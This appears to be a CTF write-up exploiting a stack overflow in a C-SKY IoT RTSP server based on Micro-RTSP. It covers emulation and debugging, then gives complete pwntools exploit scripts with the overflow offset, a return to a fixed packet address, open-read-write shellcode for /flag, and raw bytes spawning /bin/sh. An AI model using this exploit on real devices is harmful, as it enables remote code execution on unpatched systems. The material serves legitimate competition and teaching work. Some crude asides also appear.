0x1 Challenge accepted
We’re given a small compressed file, the first thing to do is throw it in binwalk :).
Looks like a iot system image packed with CramFS, we gotta install some cramfs tools in order to unpack this file.
apt install cramfsprogs
spoiler: binwalk -e sucks, although it can unpack this image, you won’t get all files inside it, binwalk stops nowhere and idk why.
OK, you may wonder why we need sudo to extract the image? Simply because image contains some symbol link to /proc/self/mem or other root stuff that we have to sudo to extract.
Well you don’t see anything interesting besides a demo.mjpeg and a fake flag file, where is the target binary?
0x2 Enemy spotted
Target server is actually at /usr/bin/server!
Let’s pull that out and fire up IDA! Oh… wait..
WTF is mcore? I never heard that before, after some some google fu, I found something in wikipedia.
Looks like only c-sky cpu can fully support this weird thing, so wtf is c-sky cpu?
C-SKY cpu arch actually has a somewhat nice github page here. you can check more information in there website but the most important part is they have a buildroot for this arch!
In this github release page you’ll find some buildroot releases, I choose “c810/807 linux-5.10” one.
Download and unpack everything from gitlab artifacts, and ?
READ THE FUCKING README.TXT FIRST
well there’s a readme_advanced.txt, I highly suggest you read that file too.
0x3 Testing server
Since our lovely ida refuses to load this binary just like every girl I like refuses me, I decided to just run this binary first and see how it goes.
In readme_advanced.txt, we actually can run this custom qemu image with network support which is very import for debugging.
Everything we need is in the unpacked folder we downloaded in step 2, including gdb/gdbserver/qemu.
Copy gdbserver , our target server and demo.mpeg into new qemu machine:
Fire up qemu with network support:
./host/csky-qemu/bin/qemu-system-cskyv2 -M virt -cpu c810v -kernel Image -nographic -append "console=ttyS0,115200 rdinit=/sbin/init rootwait root=/dev/vda ro" -drive file=rootfs.ext2,format=raw,id=hd0 -device virtio-blk-device,drive=hd0 -netdev tap,script=no,id=net0 -device virtio-net-device,netdev=net0
Setting correct ip address in host:
sudo ifconfig tap0 192.168.101.200
Setting correct ip address in qemu guest:
ifconfig eth0 192.168.101.23
Technically you can set whatever ip address you want but I’ll go with this for now.
But wait, how to run the server? Let’s go back to challenge image folder and grep the server path, there should be some script that launches the server, we can guess correct parameters there.
Got it, the correct command line should be:
./server demo.mjpeg 800 450
The two number should be width and height of the rdsp stream, which is actually width and height of demo.mjpeg.
Let’s run our server inside qemu and see what happens.
# ./server ./demo.mjpeg 800 450
running RTSP server
Hmm nothing interesting, it should listen on some port, let’s run server in background and check netstat.
# ./server ./demo.mjpeg 800 450 &
# running RTSP server
# netstat -an
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:8554 0.0.0.0:* LISTEN
netstat: /proc/net/tcp6: No such file or directory
netstat: /proc/net/udp6: No such file or directory
netstat: /proc/net/raw6: No such file or directory
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags Type State I-Node Path
netstat: /proc/net/unix: bogus data on line 2
netstat: /proc/net/unix: bogus data on line 3
See that 8554? That’s our sweet port.
But how exactly can we connect to this port? What protocol can we use?
0x4 Darkness of RTSP
After no luck in reversing and port connection, I decided to turn my eyes on actual target server hosted by RWCTF.
Since I cannot reproduce this part because CTF server is closed, I’ll just let you know that platform server port will return a rtsp url after inputting your team token, and we can actually view it with VLC :).
Nothing interesting here, but we can reuse this url to make similar requests to our testing server.
vlc -v rtsp://192.168.101.23:8554/mjpeg/1
And you should see something like this in qemu:
# ./server ./demo.mjpeg 800 450 &
# running RTSP server
# Client connected. Client address: 192.168.101.200
Creating TSP streamer
file streamer constructor
Creating RTSP session
RTSP received OPTIONS
RTSP received DESCRIBE
RTSP received SETUP
RTSP received PLAY
file streamer streamImage
....
So now what?
In this type of CTF, I highly doubt they write a fresh rtsp server from scratch, so I searched some strings in Github and eventually I found this repo.
And this file https://github.com/geeksville/Micro-RTSP/blob/master/src/CRtspSession.cpp#L65.
I can confirm this challenge borrow some code from this repo with 99% confidence, look at how similar the strings are, guys.
That BIG strcpy is super interesting at first glance, and indeed this is a stack overflow bug!
Let’s test this bug in our testing server and see if it exists!
0x5 Overflow the sky
We must have string “client_port” in our packet of course, but that’s not enough.
In line 402 of source code:
int res = socketread(m_RtspClient,RecvBuf,sizeof(RecvBuf), readTimeoutMs);
if(res > 0) {
// we filter away everything which seems not to be an RTSP command: O-ption, D-escribe, S-etup, P-lay, T-eardown
if ((RecvBuf[0] == 'O') || (RecvBuf[0] == 'D') || (RecvBuf[0] == 'S') || (RecvBuf[0] == 'P') || (RecvBuf[0] == 'T'))
{
RTSP_CMD_TYPES C = Handle_RtspRequest(RecvBuf,res);
if (C == RTSP_PLAY)
m_streaming = true;
else if (C == RTSP_TEARDOWN)
m_stopped = true;
}
Here it checks if first byte of tcp packet is “O”,”D”,”S”,”P” or “T”, if check fails server won’t handle it as rtsp packet.
And the actual bug code:
char * ClientPortPtr;
char * TmpPtr;
static char CP[1024];
...
ClientPortPtr = strstr(CurRequest,"client_port");
if (ClientPortPtr != nullptr)
{
TmpPtr = strstr(ClientPortPtr,"\r\n");
if (TmpPtr != nullptr)
{
TmpPtr[0] = 0x00;
strcpy(CP,ClientPortPtr);
...
Here it checks if request packet have string “client_port” or not, and simply copy ANYTHING after “client_port” till “\r\n” to variable CP, which resides in STACK.
Time to craft our testing script.
from pwn import *
debug = 1
context.log_level = 'debug'
if debug:
p = remote('192.168.101.23', 8554)
else:
p = remote('47.242.246.203', 32042)
test = b'Oclient_port' + b'a' * 2000 + b'\r\n'
p.send(test)
# p.sendline(test)
p.interactive()
And server crashed!
[ 3167.446179] server[124]: unhandled signal 11 code 0x1 at 0x61616000
[ 3167.449816]
[ 3167.449816] CURRENT PROCESS:
[ 3167.449816]
[ 3167.450191] COMM=server PID=124
[ 3167.450447] TEXT=00008000-00138090 DATA=0013976c-0013f4e8 BSS=0013f4e8-01b75000
[ 3167.450899] USER-STACK=7f860e60 KERNEL-STACK=817a7700
[ 3167.450899]
[ 3167.451604] PC: 0x61616160 (0x61616160)
[ 3167.451872] LR: 0x61616161 (0x61616161)
[ 3167.452362] SP: 0x7f860800
[ 3167.452550] PSR: 0x00140341
[ 3167.452958] orig_a0: 0x00000000
[ 3167.453129] PT_REGS: 0x817eff68
[ 3167.453380] a0: 0x00000000 a1: 0x00000000 a2: 0x00163568 a3: 0x00000000
[ 3167.453739] r4: 0x61616161 r5: 0x00000320 r6: 0x00000000 r7: 0x00000000
[ 3167.454170] r8: 0x61616161 r9: 0x0053e45c r10: 0x000ec6fc r11: 0x00000001
[ 3167.454613] r12: 0x00000001 r13: 0x00000001 r15: 0x61616161
[ 3167.455078] r16: 0x00000000 r17: 0x0053e558 r18: 0x00163568 r19: 0x00000000
[ 3167.455406] r20: 0x0013fceb r21: 0x0000000a r22: 0x00000001 r23: 0x00000001
[ 3167.456234] r24: 0x01b53478 r25: 0x00000054 r26: 0x77e159f0 r27: 0x00000000
[ 3167.456546] r28: 0x77ec1000 r29: 0x00000000 r30: 0x00000000 tls: 0x01b53478
[ 3167.457641] hi: 0x00000000 lo: 0x00000000
The pc register has been hijacked successfully! Stack overflow is real!
After some testing we can confirm we need exactly 1273 bytes of “a” to reach the final PC hijack point.
test = b'Oclient_port' + b'a' * 1273+p32(0x12345678) + b'\r\n'
[ 3349.657774] server[125]: unhandled signal 11 code 0x1 at 0x12345000
[ 3349.661123]
[ 3349.661123] CURRENT PROCESS:
[ 3349.661123]
[ 3349.661832] COMM=server PID=125
[ 3349.662149] TEXT=00008000-00138090 DATA=0013976c-0013f4e8 BSS=0013f4e8-01b75000
[ 3349.662476] USER-STACK=7f860e60 KERNEL-STACK=817a8840
[ 3349.662476]
[ 3349.663194] PC: 0x12345678 (0x12345678)
[ 3349.663965] LR: 0x12345678 (0x12345678)
[ 3349.664348] SP: 0x7f860800
[ 3349.664758] PSR: 0x00140341
[ 3349.664962] orig_a0: 0x00000000
[ 3349.665287] PT_REGS: 0x81d91f68
[ 3349.665508] a0: 0x00000000 a1: 0x00000000 a2: 0x00163568 a3: 0x00000000
[ 3349.666069] r4: 0x7f860f00 r5: 0x00000320 r6: 0x00000000 r7: 0x00000000
[ 3349.666593] r8: 0x61616161 r9: 0x0053e45c r10: 0x000ec6fc r11: 0x00000001
[ 3349.667269] r12: 0x00000001 r13: 0x00000001 r15: 0x12345678
[ 3349.667749] r16: 0x00000000 r17: 0x0053e558 r18: 0x00163568 r19: 0x00000000
[ 3349.668210] r20: 0x0013fa18 r21: 0x0000000a r22: 0x00000001 r23: 0x00000001
[ 3349.668644] r24: 0x01b53478 r25: 0x00000054 r26: 0x77e159f0 r27: 0x00000000
[ 3349.669210] r28: 0x77ec1000 r29: 0x00000000 r30: 0x00000000 tls: 0x01b53478
[ 3349.669679] hi: 0x00000000 lo: 0x00000000
Don’t do ROP too fast, let’s check target’s maps.
# cat /proc/122/maps
00008000-00139000 r-xp 00000000 fe:00 10162 /server
00139000-00140000 rw-p 00130000 fe:00 10162 /server
00140000-00164000 rwxp 00000000 00:00 0
01b53000-01b75000 rwxp 00000000 00:00 0 [heap]
77f4a000-77f4c000 r-xp 00000000 00:00 0 [vdso]
77f4c000-77f4d000 r--p 00000000 00:00 0
7f840000-7f861000 rwxp 00000000 00:00 0 [stack]
Target has no NX/ASLR enabled!
So we just need to jmp esp…..Oh wait.
0x6 Debugging and shellcoding
We haven’t use any gdb till now, we have 2 options to exploit this bug:
- Eliminate any \x00\r\n in shellcode, directly jump to stack.
- Find something interesting in fixed address and jump
I’ve considered first solution and not only it is very tedious, but also we don’t know if zerofree shellcode is possible.
So let’s check if we can find something interesting in gdb.
Create a gdb file first, because this gdb is very primitive, you need to add some juice.
define hook-stop
info registers
x/24wx $sp
x/5i $pc
end
set follow-fork-mode child
target remote 192.168.101.23:2222
Tips: if you encounter some error while running gdb, try add lib path to LD_LIBRARY_PATH
export LD_LIBRARY_PATH=/your/path/csky-toolchain/host/lib
And let’s connect our gdb to gdbserver, run this in guest:
/gdbserver --attach 0.0.0.0:2222 <your server pid> &
Run our primitive gdb in host:
./csky-linux-gdb -x <your gdb script file>
You’ll see something similar to this if you trigger overflow again.
Thread 2.1 "server" received signal SIGSEGV, Segmentation fault.
r0 0x0 0
r1 0x0 0
r2 0x163568 1455464
r3 0x0 0
r4 0x7fd46f00 2144628480
r5 0x320 800
r6 0x0 0
r7 0x0 0
r8 0x61616161 1633771873
r9 0x53e45c 5497948
r10 0xec6fc 968444
r11 0x1 1
r12 0x1 1
r13 0x1 1
r14 0x7fd46800 0x7fd46800
r15 0x12345678 305419896
r16 0x0 0
r17 0x53e558 5498200
r18 0x163568 1455464
r19 0x0 0
r20 0x13fa18 1309208
r21 0xa 10
r22 0x1 1
r23 0x1 1
r24 0xbdb478 12432504
r25 0x54 84
r26 0x77e159f0 2011257328
r27 0x0 0
r28 0x77ec1000 2011959296
r29 0x0 0
r30 0x0 0
r31 0x0 0
pc 0x12345678 0x12345678
epc <unavailable>
psr 0x140341 1311553
epsr <unavailable>
0x7fd46800: 0x0000050b 0x001436e8 0x7fd46848 0x7fd46824
0x7fd46810: 0x0000a5ac 0x00000190 0x7fd46848 0x00000004
0x7fd46820: 0x0000050b 0x7fd46d34 0x000083c0 0x000001c2
0x7fd46830: 0x000001c2 0x00000320 0x7fd46f4f 0x00000004
0x7fd46840: 0x00bdb478 0x00000348 0x7fd40000 0xeb8b4567
0x7fd46850: 0x00000004 0xffffffff 0x00000000 0x00000000
=> 0x12345678: Error while running hook_stop:
Cannot access memory at address 0x12345678
0x12345678 in ?? ()
Can you spot $r20 is interesting? It points to somewhere in data/bss segment, they have fixed address because no ASLR.
(cskygdb) x/20bx 0x13fa18
0x13fa18: 0x12 0x00 0x0a 0x00 0x00 0x00 0x00 0x00
0x13fa20: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x13fa28: 0x00 0x00 0x00 0x00
(cskygdb) x/20bx 0x13fa10
0x13fa10: 0x61 0x61 0x61 0x61 0x61 0x78 0x56 0x34
0x13fa18: 0x12 0x00 0x0a 0x00 0x00 0x00 0x00 0x00
0x13fa20: 0x00 0x00 0x00 0x00
Our packet is stored in FIXED ADDRESS!
So here the solution is very obvious, control pc–>ret to fixed packet address –> shellcode!
How to generate this weird arch shellcode? Fortunately we have a gcc built in our toolchain, so just static compile your code, dump assembly by readelf and craft your shellcode. Talk is easy, you’ll find it very time-consuming and feel frustrated.
FYFI here’s the shellcode I used:
# shellcode for open read write
subi sp, sp, 12
st.w r8, (sp, 0)
st.w r15, (sp, 0x4)
st.w r4, (sp, 0x8)
mov r8, sp
subi sp, sp, 276
subi r3, r8, 20
movi r2, 47
st.b r2, (r3, 0)
subi r3, r8, 20
movi r2, 102
st.b r2, (r3, 0x1)
subi r3, r8, 20
movi r2, 108
st.b r2, (r3, 0x2)
subi r3, r8, 20
movi r2, 97
st.b r2, (r3, 0x3)
subi r3, r8, 20
movi r2, 103
st.b r2, (r3, 0x4)
subi r3, r8, 20
movi r2, 0
st.b r2, (r3, 0x5)
subi r4, r8, 4
subi r3, r8, 20
movi r0, 0
mov r1, r3
subi r0, 100
movi r7, 56
trap 0
lsli r0, r0, 0
st.w r0, (r4, 0)
subi r1, r8, 276
subi r3, r8, 4
movi r2, 256
ld.w r0, (r3, 0)
movi r7, 63
trap 0
lsli r0, r0, 0
subi r3, r8, 276
movi r2, 4096
mov r1, r3
movi r0, 4
movi r7, 64
trap 0
Why use open-read-write? Because u cannot communicate if u popped a shell in forked process, unless you dup some socket to 0,1,2, I chose not to do that.
0x7 Final exploit
Here’s my final exploit:
from pwn import *
debug = 0
context.log_level = 'debug'
# 0x000093fc 0x9270 0x9294
base = 0x13f510
if debug:
p = remote('192.168.101.23', 8554)
else:
p = remote('47.242.246.203', 32042)
sc = [
0x23, 0x14, 0x0E, 0xDD, 0x00, 0x20, 0xEE, 0xDD, 0x01, 0x20, 0x82, 0xB8, 0x3B, 0x6E, 0x25, 0x16,
0x68, 0xE4, 0x13, 0x10, 0x2F, 0x32, 0x40, 0xA3, 0x68, 0xE4, 0x13, 0x10, 0x66, 0x32, 0x41, 0xA3,
0x68, 0xE4, 0x13, 0x10, 0x6C, 0x32, 0x42, 0xA3, 0x68, 0xE4, 0x13, 0x10, 0x61, 0x32, 0x43, 0xA3,
0x68, 0xE4, 0x13, 0x10, 0x67, 0x32, 0x44, 0xA3, 0x68, 0xE4, 0x13, 0x10, 0x00, 0x32, 0x45, 0xA3,
0x88, 0xE4, 0x03, 0x10, 0x68, 0xE4, 0x13, 0x10, 0x00, 0x30, 0x4F, 0x6C, 0x63, 0x28, 0x38, 0x37,
0x00, 0xC0, 0x20, 0x20, 0x00, 0x40, 0x00, 0xB4, 0x28, 0xE4, 0x13, 0x11, 0x68, 0xE4, 0x03, 0x10,
0x02, 0xEA, 0x00, 0x01, 0x00, 0x93, 0x3F, 0x37, 0x00, 0xC0, 0x20, 0x20, 0x00, 0x40, 0x68, 0xE4,
0x13, 0x11, 0x02, 0xEA, 0x00, 0x10, 0x4F, 0x6C, 0x04, 0x30, 0x40, 0x37, 0x00, 0xC0, 0x20, 0x20,
0x00, 0x6C, 0xA3, 0x6F, 0x82, 0x98, 0xEE, 0xD9, 0x01, 0x20, 0x0E, 0xD9, 0x00, 0x20, 0x03, 0x14,
# useless shellcode just for stucking process, popping a sh lol.
0x22, 0x14, 0x0E, 0xDD, 0x00, 0x20, 0xEE, 0xDD, 0x01, 0x20, 0x3B, 0x6E, 0x2A, 0x14, 0x68, 0xE4,
0x0F, 0x10, 0x2F, 0x32, 0x40, 0xA3, 0x68, 0xE4, 0x0F, 0x10, 0x62, 0x32, 0x41, 0xA3, 0x68, 0xE4,
0x0F, 0x10, 0x69, 0x32, 0x42, 0xA3, 0x68, 0xE4, 0x0F, 0x10, 0x6E, 0x32, 0x43, 0xA3, 0x68, 0xE4,
0x0F, 0x10, 0x2F, 0x32, 0x44, 0xA3, 0x68, 0xE4, 0x0F, 0x10, 0x62, 0x32, 0x45, 0xA3, 0x68, 0xE4,
0x0F, 0x10, 0x75, 0x32, 0x46, 0xA3, 0x68, 0xE4, 0x0F, 0x10, 0x73, 0x32, 0x47, 0xA3, 0x68, 0xE4,
0x0F, 0x10, 0x79, 0x32, 0x48, 0xA3, 0x68, 0xE4, 0x0F, 0x10, 0x62, 0x32, 0x49, 0xA3, 0x68, 0xE4,
0x0F, 0x10, 0x6F, 0x32, 0x4A, 0xA3, 0x68, 0xE4, 0x0F, 0x10, 0x78, 0x32, 0x4B, 0xA3, 0x68, 0xE4,
0x0F, 0x10, 0x00, 0x32, 0x4C, 0xA3, 0x68, 0xE4, 0x17, 0x10, 0x73, 0x32, 0x40, 0xA3, 0x68, 0xE4,
0x17, 0x10, 0x68, 0x32, 0x41, 0xA3, 0x68, 0xE4, 0x17, 0x10, 0x00, 0x32, 0x42, 0xA3, 0x68, 0xE4,
0x23, 0x10, 0x48, 0xE4, 0x0F, 0x10, 0x40, 0xB3, 0x68, 0xE4, 0x23, 0x10, 0x48, 0xE4, 0x17, 0x10,
0x41, 0xB3, 0x68, 0xE4, 0x23, 0x10, 0x00, 0x32, 0x42, 0xB3, 0x68, 0xE4, 0x27, 0x10, 0x00, 0x32,
0x40, 0xB3, 0x48, 0xE4, 0x27, 0x10, 0x28, 0xE4, 0x23, 0x10, 0x68, 0xE4, 0x0F, 0x10, 0x0F, 0x6C,
0xE0, 0xB8, 0xDD, 0x37, 0x00, 0xC0, 0x20, 0x20, 0x02, 0x14, 0x3C, 0x78
]
test = b'Oclient_port' + b'a' * 1273 + p32(0x13fa1c)[:3] + b'\r\nbb' + bytearray(sc) + b'\r\n'
p.send(test)
p.interactive()
What a long post, thank you!